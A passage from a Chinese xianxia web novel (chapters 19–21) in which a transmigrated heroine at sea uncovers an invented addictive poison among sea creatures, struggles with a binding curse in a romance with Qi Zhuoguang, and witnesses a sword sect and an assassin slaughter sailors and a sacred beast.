深受现代百合文学陶冶的她，怎么能不清楚禾欢欢离开时看过来的那一眼，到底意味着什么！
她，她和亓涿光真的不是那样的关系啊！
心中无奈、口中无语，然而还不等郑予时情绪转化，刚刚极速撤离的禾欢欢突然又猛地一把将房门拍了开，惊喜雀跃，像是中了彩票一样，喊了两人。
“郑予时，亓涿光！快出来看呀！百年难得一见的无垠海浪，叫我们遇上了！”
19. 第 19 章
无垠海浪？书中说极其玄妙的那个无垠海奇观！？
郑予时被人拉得一愣，稀里糊涂，等回过神来时人已是靠在了船边。
海水晃悠，浪语滚滚。入目，整一片幽蓝的海，波澜壮阔，璀璨动人。
浪花卷起，波光粼粼，似是天边星河，熠熠生辉。
而在那点点斑斓的幽蓝之下，数万银光披身的双翼奇兽跃然起舞，银白与蓝的绚烂中，它们随着海浪一波一波，飞天、再入海，扬起丝丝银光烂漫，欢悦高鸣，逍遥自由。
“好美啊！”
禾欢欢将双手捧在身前，瞧着海面上随他们一路航行的奇兽，望着海底幽蓝神秘的蓝光，是那般的自由，欢喜极了。
身下船身随着浪语起伏晃荡，悠悠扬扬。
少顷，海浪褪去，盛宴落幕。大自然的冲击，带来满心震撼的愉悦之情，洗涤心灵，叫人不禁笑弯了眼。
禾欢欢拉她出来是为了赎罪的。刚刚撞破两人好事，她觉得，只有这景能稍微弥补一二。
赏完奇观回了身，然而只一眼，瞧见身旁郑予时的禾欢欢‘噗嗤’一下是笑了出来。
双手捧腹，伸手去取。她从一脸茫然的郑予时头顶，取下了一条活蹦乱跳的双翼小鱼。
“郑予时，你头顶长鱼了。”
一句玩笑，但取下来的东西，却是真的鱼。
鱼头鱼身，淡蓝的鳞片从腹部往上渐渐淡去，直至背鳍，彻底变成乳白纯色。而那里，生出了一对极其精致美丽的翅膀。那翅膀像是蜻蜓，但又不似那般透明脆弱，其上银光璀璨，更像是铮铮盔甲，坚硬无比，耀眼夺目。
这是，刚刚随着无垠海浪翻滚而过的双翼奇兽，织翼。
“欸，欸！它这是怎么了？怎么吐泡泡了！”
织翼兽在禾欢欢的手里只躺了不到三秒，下一瞬，两眼一翻，两翼一耷，浑身抽搐，口吐白沫。瞧着，快死了。
这下，给禾欢欢吓得不轻，她着急忙慌着脸都憋了红，赶忙找了会药的郑予时求助。
蚕蝶丝一事后，显然，郑予时会药、解毒极强的标签已经深入人心。
“郑予时！郑予时！你快看看它怎么了！你快救救它呀！”
手里冷不丁地丢来个滑溜溜的抽搐长条，身带淡淡异香，味道熟悉得很。
哦哟？
郑予时没抓过活鱼，一愣，手里滑溜。那从手心传来的异样触感叫她不禁下意识一捏，手里不稳，嗖的一下，鱼，飞了出去。
自由天空，织翼兽腾空而起，它瞪着它那对翻了白眼的死鱼眼睛，像是渴望自由的囚徒，奋力挣扎。
然而，滤镜破碎，腾空肥鱼受重力影响，‘啪嗒’一声，摔到地上。
把自己摔晕了。但没死。
“……”
郑予时仍保持着接鱼的姿势，两手滑腻，手心空空，一时，对于织翼兽在几人面前自杀的行为，一言难尽。
楞了片刻，少顷，福至心灵，只见她双手合十，竟是对着那船板上的‘死’鱼默默鞠了一躬。
“走好。”
郑予时弯腰捧了一手海水，随空一洒，在海水洒落鱼身的同时，垂首哀悼，像是在给它送行。
神神叨叨的。
郑予时一心只想送它去死的动作，半点没有想抢救一下的意思。那只晕死在船板的织翼兽，在这极其草率的葬礼送行下，奄奄一息。禾欢欢看不下去，像是想起了什么，她自食其力，取了琉璃盏乘了海水，小心着将它放了进去，试着用无垠海水救活它。
说来小鱼儿也是争气，入水，三息不到，白眼也不翻了，鱼身也不抽了，鱼尾摆动羽翼舒展，嘿，又活了。
此般奇观，惊异难压。
“咦。你这是又想开了？咋这么反复无常呢，渣鱼。”
“……”
禾欢欢拒绝搭理毫不靠谱的摆烂医师，她冲见死不救的郑予时冷哼一声，抱着鱼和琉璃盏，回了房。
郑予时被她哼得一乐，倒是更舒坦了些。
还是大小姐原本傲娇的脾气好啊，之前禾欢欢憋屈着压抑性子听从父命好好照顾她时，反而叫人不大习惯。
大自然的广阔舒心万般，海上奇观观完，郑予时决定打道回府。
毕竟被禾欢欢看景这么一出打断，她和房内那小崽子的账还没清完。故人相见，郑予时对亓涿光的感情更复杂了，只是复杂归复杂，那什么七星凶咒听着就不是好东西，得让她给她解了，还有那个咒契，也要解了！
只是不等她离开，一直静候在一边默默注视着一切的宜东藏，却意外开了口，叫住了她。
“郑姑娘。你，是不是看出了什么。”
嗯？
宜东藏的面色有些凝重，他伸手拦了她，但那双溢满疑惑的眼睛却不看她，反而是死死盯住了那静谧深海，戒备、警惕。
看来，宜东藏大师兄的名头还是挺扎实的，至少禾欢欢只知道这无垠海浪是为天下奇观，而他，却知道其里更深一层的无妄之灾———那大概率会随海浪掠过而席卷滚来的，海下龙卷。
古籍有云，无垠幽海，渊底有灵。
灵生识，心怀天下，佑众生而生息散，将陨将亡。其后，神悯其灵，以气凝之，汇聚成兽，庇一处幽海，镇一方安平，是为，鲲。
鲲者，鱼身、鸟翼。无垠海下一尾席卷，碧海青天一翅震云，是以，古者云之，称其为祥瑞镇邪的神兽。
那无垠海浪，就是鲲兽庇护世人的祥瑞赐福之兆，而其后的海下龙卷，却完全相反，具有毁天灭地之势，被世人视作神愤天怒。
只是福瑞难遇，且世人皆期望福瑞，久而久之，传闻避重就轻，倒是嫌少有人知晓那福瑞之后的危机重重。
不过，修者游船行船极快，已然避开了刚刚海浪掠过的范围，这尚未出现的海下龙卷，并不是郑予时瞧出的异端。
指尖抓鱼的粘腻仍留在上面，见宜东藏板着脸直瞅海底深渊，郑予时以为他还在担心那过去的龙卷，响指一打，拉回了他的思绪。
她上前一步，凑在宜东藏的面前，很近。
“是有些不对，不过不是你担心的，而是……”
说罢，两指上抬，郑予时将指尖上那从织翼兽身上揩下来的、带有淡淡异香的粘腻送了过去，声音压低。
“你闻，这味道，是不是很熟悉。”
淡淡异香在鼻尖散开，宜东藏一嗅，有些甜得发腻，瞬间，满目惊恐震撼。
“这，这居然是纪云城那些血尸身上的熏香！”
“怎么可能！”
嗯？
宜东藏的反应有些奇怪。
纪云城临海，城后便是无垠海一望无际的深渊，城中之人的香，或是抹香的人溺死，又被织翼兽不小心沾了，也不是不可能。
若是禾欢欢见了，会惊讶震撼，但，并不会如此坚定。
而宜东藏的那一句‘怎么可能’，笃定万般，就像他认定，那遮掩尸身腐臭的香，绝对不会出现在这里一样。
他，是不是知道些什么。
这一模一样的血尸异香，让向来镇定的宜东藏慌了神，甚至是连礼貌都忘了，转身就走。
郑予时独自一人落在船边，她将视线投到了刚刚宜东藏盯着的那幽蓝海底，眯了眼睛。
这个地方，有秘密哟。
回身往后，抬眼，愣住。
船里过道，亓涿光正站在阴暗角落，深深地看着她。一脸幽怨。
这是咋了又？
郑予时不知道的是，早在宜东藏拦下她的时候，亓涿光就到了船板上，而她靠近宜东藏给他闻那异香的动作，像是按着他的唇，暧昧不清，心泛酸涩。
“过来。”
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>话音落地，一股似是电流的酥麻触觉流通身体，郑予时完全控制不住自己，竟真的向着发号施令的亓涿光走了去。
四目相望，在郑予时满眼诡异无措的注视下，亓涿光眸色愈暗。
她伸了手，抚上她的下颚，往上，细细勾勒着她的唇，霸道极了。
“摸我。”
！
摸，摸啥？
这两个字把郑予时惊得差点虎躯一震，差点没一句‘卧槽’飙出来。然而她惊到无措，但那失了控的手却听话得很，上抬，凑近，一下，按了上去。
指尖上抹了的属于织翼兽的粘腻，轻触，涂到了亓涿光的唇边，狼狈得很。
亓涿光可是有洁癖的啊。
郑予时心下微凉：完了，这下彻底完了。
洗尘诀一施，嫌弃，但又似乎并不嫌恶，亓涿光捉了她洗干净的手，十指相扣。
“我们回去。”
一令，一动。像是提线玩偶。
能不能先把她解开啊！这到底是什么乱七八糟的咒术，也太膈应人了！
落座床沿，终于夺回了身体的掌控权，瞬间，郑予时开口威胁。
“亓涿光，把我身上的咒解了！不然，我就把你光着屁股上药的影像发到天下楼里，给大家看！”
“不解。”
“……”
啊！真想打死她这个犟脾气。
“是。我失约了，我是对不起你，但那真不是我想要的。你看，我现在有手有脚，不是之前那个虚影模样了，是个真正的人了。你放心，我不会再消失了。”
晓之以情，动之以理。
“你看，你这般控制我，只会让我更暴躁，更叛逆，触底反弹，到时候逼急了我可能真的会跑的。而且你换位思考一下，要是你被我控制了，我喊你干什么你就干什么，一点自由，一点空间都没有，你是不是也会不高兴？”
“所以啊，为了让我实现我的承诺，陪着你，为了咱们能长长久久的在一起，来，解咒。”
连哄带骗，好说歹说，亓涿光这才勉强点头应下。
只是灵力祭出，咒术再起，半个时辰过去了，毫无动静。
心口顺势往右臂绵延的咒文，分毫未少，刻得特别清晰，郑予时的心情从期待到迟疑，又从迟疑到微恼，起伏很大。
这人是不是在敷衍她？
如此质问，换来的却只有一句亓涿光淡淡的，夹杂着一丝暗喜的回应。
“现在的我，解不了。”
“……”
郑予时觉得，亓涿光是在故意恶心人。
我可去你的吧！你解不了？这俩咒不都是你中下的吗？百年前的那一个，你说太久了忘了怎么解我可能还信两分，但先前万人尸坑底下刚给她中的那个咒契，你跟我说解不了？
气死人了要！
情绪上头，郑予时浑身气血疯狂流动，瞬间，一股难以言说的瘙痒痛感自经脉处传来，密密麻麻，渐渐覆盖全身，像是有成千上万只蚂蚁，啃食撕咬。
万蚁噬心，瘙痒□□。不好，七日一解的咒契发作了！
身上难受，心里憋屈，瞧着面前矜贵清冷的亓涿光，那一副乖巧但又蛊惑的淡淡模样看得人心发痒，想要，揉乱她眼底的淡漠清凉。
咒契难挨，求人解咒却被草率拒绝的郑予时一点儿不想再拿热脸换冷水，头脑一热，恶从胆边生。
凭什么只能她故意装不会解咒来恶心人，她也要恶心回去！
咒契在身，她拿她没办法。但。
恶心人，谁还不会了嘿！
心下一狠，脑子已然被咒契反噬到浑浊不清的她浑身发热，双手一伸，捧了亓涿光的面颊。
她朝人‘嘿嘿’一笑，仰首，张嘴，冲着那娇嫩欲滴的唇瓣，啃了下去。
触及，微凉。
好软啊。
20. 第 20 章
唇瓣上软到酥麻的触感，叫人心尖发颤。
下意识轻轻一咬，唇破，血出。吞咽而下，那因咒契而起的燥热烦闷渐渐散去。
交缠在一起的唇，贴得难舍难分，反噬解除，清醒过来后意识到自己做了什么的郑予时，刷的一下，满脸通红。
她，她到底在发什么疯！她都做了什么啊！
想死。现在的心情就是，很想死。
郑予时惶恐得很，要逃，然而唇瓣将离，下一瞬，脑后却覆来一只微凉的大手，插入发丝，五指揉捻，将她禁锢。
红唇压来，柔软的唇瓣覆了上，从轻触到重碾，从生涩到沉溺，她描摹着她，轻挑细捻。
唇齿间的淡香蛊人得很，郑予时半点不敢妄动，整个人都僵了，她将手撑在她的肩膀上，推，完全推不动！
啊！这，这可如何是好！
内心近乎崩溃，然而似是惶恐轻颤，双唇微启，亓涿光无师自通，舔舐着，竟是探了过来。
艹！
卧叻个大槽。救命！
阵阵刺痒从舌根处密密传来，激得郑予时浑身一激灵，她想退，但后脑脖颈处拥着她的那只手却完全不给她机会。
不行，再这么下去是要出事的！
脸皮早已没了，事到如今，再没什么能失去的了，也没甚好虚的了！以退为进，逃命要紧！
说做便做，郑予时心中计划已定，她不退反进，迎着亓涿光的唇，狠狠堵了上去。
拼了。
打架一样的动作，手从撑着亓涿光的肩上按到了她的脖颈，她掐着她的喉咙，以一个霸王硬上弓的姿势，整个人压在她的身上。
突如其来的主动接触，叫亓涿光的身子激动到发抖。她顺着她掐她的动作，似是喜欢极了，主动迎合。
就是现在！
指尖用力，就在亓涿光顺从着她，将覆在她脑后的手松了力气的瞬间，郑予时一手掐住她的脖子，抵着力，推开了她。
唇瓣分离，张开的舌肉扯出丝丝暧昧的痕迹，看得人浑身燥热。
身上一轻，计划成功，郑予时毫不犹豫，转头就跑。那动作，跟春宵一刻后提了裤子的渣子，没甚区别。
房门紧闭，行船晃荡。往后两天，她再没出过房。
任凭船上来来往往的人怎么叫，她就是不出门。
她没脸啊！
她到底是猪油蒙了心，居然，居然……
可是她发癫就算了，亓涿光竟然也……书里也没写她是拉拉呀！艹。
啊！
船上客房，木质床榻，缩成一团的被褥在上头滚来滚去，一会儿摊成烂饼，一会儿裹成春卷，反复无常。
郑予时两天没吃，两天没喝，两天没睡。
直到他们将达西疆域，直到禾欢欢忍无可忍踹开了她的房门，她这才重见天日。
天边太阳暖暖的，她的尸体凉凉的，十分惬意。
啊，又是一个白天，到了呀。
“欸，郑予时。你这两天窝房里干嘛呢？从那天咱们见了无垠海浪之后就再没见你出门，你……”
说罢，禾欢欢的表情有些微妙，蓦地，像是恍然，只见她两眼一眯，傲气高扬的下巴却是不收，偏半蹲着凑了过来，凑到郑予时的耳边，调侃道。
“你不会是在偷偷给小蓝炼药吧？”
捡来的那只织翼兽，因其蓝鳞剔透，被禾欢欢喊了作小蓝。
自两日前意外离群上岸后，小蓝这些天上吐下泻，禾欢欢没少找人看，也没少去郑予时房外骚扰，但对其症状船上医者不晓，郑予时闭门不见，无解。
如今见了人忧心忡忡，憔悴着像是两日没睡的模样，倒是让禾欢欢将她和家中那位的臭毛病联系了起来。
“哦~怪不得你脚步虚浮、眼下发青。瞧你这副肾虚模样，原来是在偷偷炼药呀。你一定是那时刚见小蓝就知道他病了是不是？我说你当时怎么一副送他走的样子，原来是早知道了呀！”
“害。我还说你有什么大事呢，不就是炼不出治小蓝的药嘛，你怎么跟我家老爹一个德行，遇到疑难杂症或是不熟悉的药草，就把自己锁起来，不炼出来还不活了似的，像是天塌了都。”
几分调侃，自我脑补，完后，禾欢欢傲气一收，心里对小蓝的情况仍是担忧。
“郑予时。小蓝他真的，活不成了吗？”
“……”
突然沉重的气氛，叫郑予时不再好继续装死，但面对禾欢欢的提问，她却是不好回答。
呵呵。两日无眠，她能说她并非是在炼药吗？当然不能。要是说了，那接下来以禾欢欢的性子肯定会追问‘那你在房里干嘛呢？’，如此，她又该怎么答？
说她脑子抽了，冒犯了亓涿光，在反思？悔过？
若是再问‘为何反思、为何悔过’，那，她可真招架不住。
如此，这炼药两日的努力和辛苦，她认下了。左右亓涿光不晓得发生了什么事，禾欢欢说她两日前就不见了人影，这般，她倒也心头轻松一些。只是……
只是禾欢欢分外关心的那只织翼兽，不是病了，而是中了毒。
如她所猜测，两日前船板上的接触，那织翼兽漫出异香的粘液里，不只有那同纪云城血尸香味一样的古怪，它，更是一种毒。寻千梦。
寻千梦，名字极美，入梦如若仙境，寻觅故人故土，醉生梦死。
它是毒，但却是一种极其奇特的毒，非但半分苦楚不会承受，反而会让中毒者逃避现实，□□。比起毒，它更像是，一种瘾。沾上，舍不掉，离不得，沉溺难断。
这种瘾毒，腌臜之人最喜用来驯化桀骜不驯的凶兽，让它们臣服，将它们操控禁锢。
但这毒，并非一日能中。
她记得，文中后半段的剧情里，男主被家族宗门背叛，中的就是这毒。
此后，遗落之境万人夺莲，锥墟神庙九死一生，抽筋扒皮，挖丹换血，这才彻底摆脱寻千梦，勉强苟活。
只是没想到的是，如今还未入西疆域，也还正在文中剧情的最初，这毒，偏偏叫她先遇了上。
非但遇上，甚至还叫她嗅到了一丝阴谋的味道。
无垠深海，西疆域宗，虽相邻，但却在文中毫无交集的两处，竟是出现了同一毒。可真是有趣得很。
织翼兽常年沉寂无垠海底，成群而出，若是一只中招，那么……
整个无垠海底的织翼兽，都逃不了。
是谁，投了毒？
西疆域的手笔？
“连你也救不了他么……”
悲伤的气氛漫了过来。完蛋，忘记回话了。
见郑予时沉默，禾欢欢周身气压极低。从芥子里取出的琉璃盏，清晨才刚换了新的海水，而那盏中，曲尾盘着的小蓝蔫儿得很，死尸一般躺着，肚皮渐翻，毫不动弹。
“小蓝，魂归故里。回家吧。”
说罢，禾欢欢哀痛几分，伸手就要将它扔回海中。
这么高的船，扔下去，砸都砸死了。
这还了得？
郑予时赶忙拦下她，大气不敢喘，喊了停。
“别。你冷静一点。我刚刚只是在思考，这鱼，还是有得救的。”
“真的！”
禾欢欢一声惊呼，叫得宜东藏眼底的思绪更重。
宜东藏不常下山，此行的目的是为护送禾欢欢去西疆域解除请柬赋灵，如此，自然禾欢欢在哪儿，他便在哪儿。而刚刚两人毫不遮掩的对话，他，听进去了。
‘还有得救’。这四个字，重如泰山。
“那你快救救他呀！”
禾欢欢此话一出，随着她将琉璃盏递给郑予时的动作，宜东藏那双深邃的眼睛里，划过一丝愕然。
真的，可以吗。
小蓝在手，但要救，却是个问题。
“我手里缺药材。”
文中男主是用天宫雪莲强行逆脉方才解的毒，虽然她有别的简单法子，但药，还是缺一味。
“禾欢欢，你知道哪儿能搞来蒂连枝吗？”
“蒂连枝？我有啊。”
“啊？”
禾欢欢从怀里取了个牌子，三两下一点，牌面闪亮。
“小师妹？小师妹快帮你师姐我去园子里采点蒂连枝，有急用。”
得到回应，转头禾欢欢又问了郑予时。
“蒂连枝要多少？十株够吗？”
十，十株……
她慕了。
蒂连枝芥蒂而生，对生长环境的灵气浓度极其苛刻，可不便宜。遥想从前，她攒半年的零花钱才勉强够买半株，可如
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今，十株？好馋。
“一。三株可以吗。另外两株算我买的。”
看着豪气的禾欢欢，郑予时嘴边的数硬生生从一掰到了三。虽然解小蓝的毒只需半株就可，但蒂连枝的用处可多，对她爆炸的灵根或许也有用，她的心里生了个大计划。
“行。不用你买，拿着用就成。对了，别的药还差什么吗？我让小师妹打包了一道儿送来。”
土豪啊！
禾欢欢爽快，郑予时也不矫情，问了她要手头确实还缺一味的辅佐药材。
“芪白根可有？”
“有。”
说罢，还不等郑予时说要几根，往日常见她老爹炼丹的禾欢欢自顾自同牌子那边的小师妹说了道。
“小师妹，芪白根也帮我装两包。谢了。”
两，两包？
安排妥当，禾欢欢挂掉通讯牌后平淡如常，但，郑予时却恨不得直接拉她拜个把子。
姐妹，请问你还缺朋友吗？
很穷的那种。
解药暂缺，但禾欢欢仍不安极了，她想让小蓝舒服一些。毕竟是白送了两大袋芪白根的金主，禾欢欢有求，郑予时哪儿有不应的道理。
三两下调了药剂，倒进琉璃盏内，三息不到，只见那原本蔫儿了吧唧的小蓝，瞬间‘起死回生’。
两眼一瞪，鱼尾一甩，像是报复先前她对它‘自杀’失败的嘲讽，小蓝甩了郑予时一脸咸涩海水。
一把抹下，擦干。齁咸。
呸。小东西还挺记仇。
将琉璃盏送回禾欢欢手里，郑予时服务到位，一共多做了三瓶舒缓药剂，全部一起递了过去。尽职尽责。
“亲。此药剂只做舒缓之兆，三日一换，效果更佳哟。”
绿中泛着淡淡暖黄的药剂，晶莹剔透。虽然看起来是郑予时随手摘了乱七八糟的药草随便揉的，但宜东藏见过她曾经也是如此随便揉药便解了古籍奇毒、蚕蝶丝的，因此，他信。
很信。
解毒之药，一兽便需要一根蒂连枝和两大包芪白根，他做不到。可舒缓药剂他看了，都是些极其寻常的草药。只要他努力，寻来足够的药，是可以的。
那药，他在意。
很在意。
“郑姑娘，多有冒昧，但宜某还是想请教一二。”
抱手作礼，请教的理由合情合理。
“宜某一心痴迷丹道，这方药剂的配比精妙绝伦，叫人叹为观止，还望郑姑娘不吝赐教。当然，宜某深知药方丹方弥足珍贵，作为交换，只要是姑娘想要的，宜某必将尽全力替姑娘寻来。还求姑娘成全。”
“拜托。”
作礼的手，低垂的头，郑予时这还是头一次见宜东藏如此。
伸手扶了他。
“都是过命的交情了，说这些作甚。”
随意着一语掠过，音落，第一个看过来的人，是禾欢欢。
俩姑娘相视一望，眼眸含笑，均是读懂了彼此眼中的默契。
笔墨落下，八行六十四字，精简精准。但郑予时只给了他药方，至于药草，她储物袋里虽然还有很多，但炼制此药需要的那些，大多都是亓涿光买来的，她用一些来救命尚且还算有理，送人，便不太妥当了。
药方接过，宜东藏眼底的激动，藏不住。
“郑姑娘。谢谢。”
“宜东藏。不用客气。”
目光相触，那轻声喊了人姓名的姑娘，眼睛干净得近乎透彻。
手里的药方有些烫，宜东藏失笑，终于舍了他那板正的语气，同样以姓名称呼了人。
“好。郑予时。”
仰首回以微笑，她什么都没问。
宜东藏有秘密。
郑予时本来没觉得有什么，但他此次找她要药方的举动，加上这会儿按耐不住的欣喜若狂，太不像他了。
前两日，无垠海浪掠过后，他曾凝视海底，问她可否察觉异样。
当时她先入为主，以为他问的只是书中古籍偏僻的传说故事，可直到今日瞧了他的异样，她才恍然觉察：宜东藏他，早知道海底有毒。
那日的一问，问的不是海下龙卷，而是瘾毒，寻千梦。
他，想解毒。
解整片无垠海底的毒。
可，为什么呢？
21. 第 21 章
海面雾色散去，前方陆地显露。
蓦地，船身嗡鸣，就在见到岸边的瞬间，船体自内传来声声鸣叫，连带着整个船板都在震，稀奇得很。
万物有灵。
而这，就是书中轻描一句的：船有灵。
身后轻缓推力施来，不等她细想，那股毫无攻击意图的力量便带着人靠到了船边。
灵物友善，不只带了他们走，还在颠簸之余用力量拖住了欲摔的郑予时。似乎是将她的个头认成了孩子，那灵物爱护幼崽似的，还轻轻抚了一下她的头，像是安慰。
“噗。谢谢呀。”
低声道了谢，清风拂来，对这因着她道谢而又用灵力缠了她指尖似是在打招呼的灵物，郑予时更喜欢了。她记得，好像船灵也是能吞物的。
船灵，修习应该也和兽灵是相似的吧？
试探着从储物袋里摸了颗有助灵兽修炼的药丸子，放在手心，示意来取。
灵风拂过，下一瞬，那头上抚摸她的力度，更欢了。
看来还挺喜欢的。
这丸子是郑予时闲来无事随手搓的，用的都是她山上薅来的别人不要的草，药丸未经灵力锻造，修者不能食，但皮糙肉厚经脉强筋的灵兽却是可以的。
一个瓷瓶，装有十二颗。见船灵喜欢，郑予时索性将剩下的连带瓶子一起送给了它。
然后，换来了一个特别开心的‘抱抱’。
真可爱。
临近岸边，因着底下坑洼，船身愈发颠簸。待将将停稳，众人不禁仍是撑在船边，舒缓不适。
就在这时，那方深海，幽蓝静谧，却是蓦地扬起一浪白花，拍了过来。
起伏而动，随着船身一晃，郑予时下意识回首，见到了如梦如幻的海天一幕。
波光粼粼的海，卷卷透白的浪，淡色灰朦的天和周边浓雾混成一色，梦幻、飘渺，美不胜收。
“快看那边，是孚钰兽！”
随浪游动，海下一道巨大的黑影冲袭而来，带着粼粼波光，一跃而起。
孚钰兽，是无垠海中比那福瑞海浪更稀奇的灵兽，鳞可御守，骨可削器，一身血肉如若是那唐僧肉，增补修为，延年益寿。
“天哪！孚钰兽！居然是孚钰兽！”
“快！快抓住他！”
一声贪婪，随船的船工像是得了天降财宝，撒网提刺，卷了好大包袱各种捕猎工具，冲至船边。
噌亮的尖刀，赋灵的宝器，蓄势待发。
黑影将至，孚钰兽，近了。
古卷有谕，孚钰兽是为祥兽，若杀之，则后辈余生必受诅咒，是为不详。
但就算是如此，不杀，那一身皮肉也足够诱人。
如此泼天富贵，船工们满眼疯狂，磨拳擦手正欲抓捕。刺网洒下，然而忽地地板一震，船身嗡鸣，一股力量自船板下猛冲而来，唰地，将人掀飞，翻滚落水。
是船灵。
“救。救命！救命啊！”
突袭惊慌，落水船工扑棱着，呛了好些水。
眼见海下那黑影愈发靠近，巨大的压迫，置身其中的人这才感受到了恐惧，感受到了那因贪婪而祸害其身的恐惧。
只是孚钰兽并无攻击性，一朝落水，胆怯者生惧，而无畏者则贪念再起，跃跃欲试。
“快！潜下去，布网，收尾！”
“弟兄们，抓了鱼！咱们就发了！”
带头者思绪清晰，采取了最利于捕捉孚钰兽的方式事发号令。
刺网拉开，一落，一起。
网收猎入，挣扎的灵兽被那赋灵的刺网割开皮肉，刺入肚中，染红了身下的一汪幽蓝。
“啊，啊，啊……”
灵兽的哀鸣声尖清脆，他被刺网扎破了身体，死死裹住，然而这声音悲戚之中，听起来却莫名地多了一丝欢喜。诡异的，喜悦。
如此虐杀一幕，船上三人没一个脸色好看。
郑予时取草欲冲，禾欢欢拔剑欲上，但奇怪的是，一向惩奸除恶的宜东藏这会儿却反而是克制极其。他攥紧了拳头，连手心抓出血都未曾察觉，一动不动。
“哈哈哈。发了！发了！兄弟们！这次咱们真发……额。”
一位船工的话音断了声儿，穿云破空，凌空一剑，嗖的一下刺穿了那雀跃的狂喜。
霎时，泡在整片海域其中的人们惊措、愕然，他们抓着捕鱼的网，全然不晓得这突然飞剑到底是什么来头。
“啊！救，死了！死了！”
“刘三！快，捞人！”
尖叫嘈杂，乱成一锅粥。
然而那剑身峥鸣，刺入船工身体后毫不留情，一颤，从前往后，剑柄整个穿过身躯，斩裂成块。
“啊！啊！”
惊恐、惊骇，灵压骤来。正日当头，只见层层日色下，天外御剑来仙，控剑穿插，三剑，海中数十船工，碎尸尘海，均，了无生息。
死了。全都死了。
满目血腥，郑予时看得丹田一阵躁动，体内窜起一股道不清的感觉。有些失控。
怎么回事？
不待多想，杀人者自那云后现了身。
飘飘白衣，衣尾缀有金丝绣莲，精致、圣洁。来人身后数十弟子，杀了人还不算完，提剑请令，令发，灵力化剑，万剑滞空，于那孚钰兽当空成阵，压顶袭来。
这是，西疆域第一分支傀儡派其下习剑的小门，剑羽派。
好强的灵压！
剑阵成型，剑影错落，随着顶头硕大一把灵剑刺穿骨肉，那本通身雪白的极美的孚钰兽，切块果露，体无完肤。
重剑一击穿肉碎骨，孚钰兽尖鸣一声，重伤奄奄，然，顶空凝灵，剑尖成型，来人取了鳞片血肉后根本没打算放过瑞兽，还欲再落。
他们，跟贪财怕死的船员不同，他们想让他死。
“住手！”
“师兄！”
宜东藏提着他那个大铁棍子冲了上去。
阵盘作底，置身阵中，以身挡剑。
禾丹宗以药丹盛名，虽内有弟子修剑修符，但宜东藏却是个彻头彻尾的丹修。虽然如今他的修为也堪堪金丹，但他怎么可能打得过这一群金丹境巅峰的剑修？太难了。
太，冲动了。
“师兄，我来助你！”
得，俩都冲动。
郑予时无奈，然事已至此，两个冲动的和三个冲动的，差别并不大。来都来了，与其被人针对不如她先去针对人！再说，她也看不惯这群鼻孔冲天的东西。
“得叻。我也来！”
剑术阵中，当顶的剑，五人环抱那么粗，吓人得很。宜东藏立于海上阵盘，铁棍直指，身颤声戾，目色猩红。
“孚钰兽乃无垠瑞兽！尔敢！如此欺辱！”
“呵。”
一声冷笑，来人双手抱胸，高高在上，漫不经心。
“不过是一牲畜，何谈瑞兽？”
“这位公子想必是来参加招亲的吧。连死猪肉都能看成是无价灵宝，小门小派，见识短浅。”
“你说谁小门小派呢！你个长得难看的死娘娘腔！”
“你！”
白衣被禾欢欢一呛，心下生怒，然而似是不屑三人低等的修为，只见他怒却不动，轻蔑一哼，横眉讥讽。
“哼，不识好歹！”
“殊不知，你们口中这祥瑞尊贵的灵兽，每隔一月便会自己送上门来，求着我们宗主享用。你们和它们一样，都是送上门来的次货。低等，下贱。”
瞧着宜东藏憋红的脸，白衣自知戳到了他的痛楚，眼生笑意。侮辱完了人，他不再口舌，满不在意地一挥手，定了生死。
“不过是各宗各门送来讨好我西疆域的弃子，还真以为自己有脸了？”
“虞山，杀了他们。喂鱼。”
青天白日，暗影闪过。
一声落下，只见那数十白衣弟子的队伍中，急速掠来一混身裹了黑布的男人。
得令，攻来。
一把狰狞黑剑弯绕扭曲，闪身，一击，砍上宜东藏撑在最前的铁棍，棍裂三寸。
“噗———”
法器开裂，受到反噬弹开的宜东藏一口鲜血喷出，单膝跪落。
糟了。要噶。
虞山，西疆域暗处的杀手，是西疆域蛊毒门长老培养的死士。文章初期，他是男主身边最信任的左膀右臂，然后期，各为其主，那寻千梦的毒，就是他日日给男主下的。
是个狠人。更是个，不要命的疯子。
郑予时抬脚挡在宜东藏身前，她一边扶着伤重的他，一边暗搓搓搓着药丸。
宜东藏本是丹修，重伤服用的丹药根本用不上她来炼，她手里搓的这个，是用来炸的。
宜东藏通身气息紊乱，再扛不了一击，然而虞山却并没打算放过他们，如那白衣人所言，他对他们，欲杀之。
见人再攻来，郑予时皱眉，冲提剑冲上前去的禾欢欢大喊。
“禾欢欢，攻他左臂！”
西疆虞山，右剑剢影。是天下闻名的快剑。
然，少有人知，他的左手，废了。
禾欢欢听言，不明，但很是信任。剑身一转，毫不犹豫向人左面刺去。
一声，虞山眼底生戾。那因着欲意遮掩而常年故意暴露在外的左臂，遭人戳穿，成了痛处。为了避开，虞山一剑反手，挡开禾欢欢的进攻，退避三步。
生寒的眸子像是毒蛇，淬了毒，死死缠住郑予时。
她，怎么会知道？
杀了她。
杀气一起，那隔着老远的一眼凝实，看得郑予时浑身发麻。
卧槽？不就说他句坏话嘛，怎么就盯上她了？小心眼。
黑剑再拔，剑影一闪，剑出，郑予时的呼吸，滞了一瞬。
虚影飞掠，剑收，血洒。
瞬息之间，虞山身后与他同阵营的数十白衣弟子，脖颈削断，头颅落地。
卧……
“虞山！你，你疯了吗！你怎么敢！”
数十无头尸体滚入海底，血色浸入，先前的气势汹汹，如今只剩白衣一人。
听人杂了惧色的质问，虞山面无表情，一甩剑上血珠，回头。
“啊。忘了还有你。”
“你，你想干嘛，我警告你，我……”
剑影错落，只见虞山虚影一晃，下一瞬，人头落地。
嚣张的人，死了。
又一次，全都死了。
身死灵破，剑阵灭了。没了禁制，宜东藏见机一挥，将海中身残的孚钰兽收入芥子空间疗伤。而虞山的这一手，郑予时看得后背生寒。
见了虞山这癫疯到连自己人都砍的样子，她终于意识到了哪里不对。
他的左手！
他的残废左手，只是原文中草草一提的文字，但就是这一行看似轻飘的描写，如今看来，应该是他心中埋藏最深的痛。
痛，不愿揭开。痛，有大秘密！
所以他才会杀了那群和他一伙儿的白衣，所以，所有知道这个秘密的人，都得死。
郑予时一抖，嘴角抽搐：我的妈！她刚刚到底是失了什么智要说出来啊！
虽然都是杀，虽然都是要杀他们，但先前若是周旋，说不定尚还有一线生机，可现在……
虞山那疯子。知道他秘密的，他一个都不会放过。下一个要杀的，就是他们了！
“师兄。”
“嗯。”
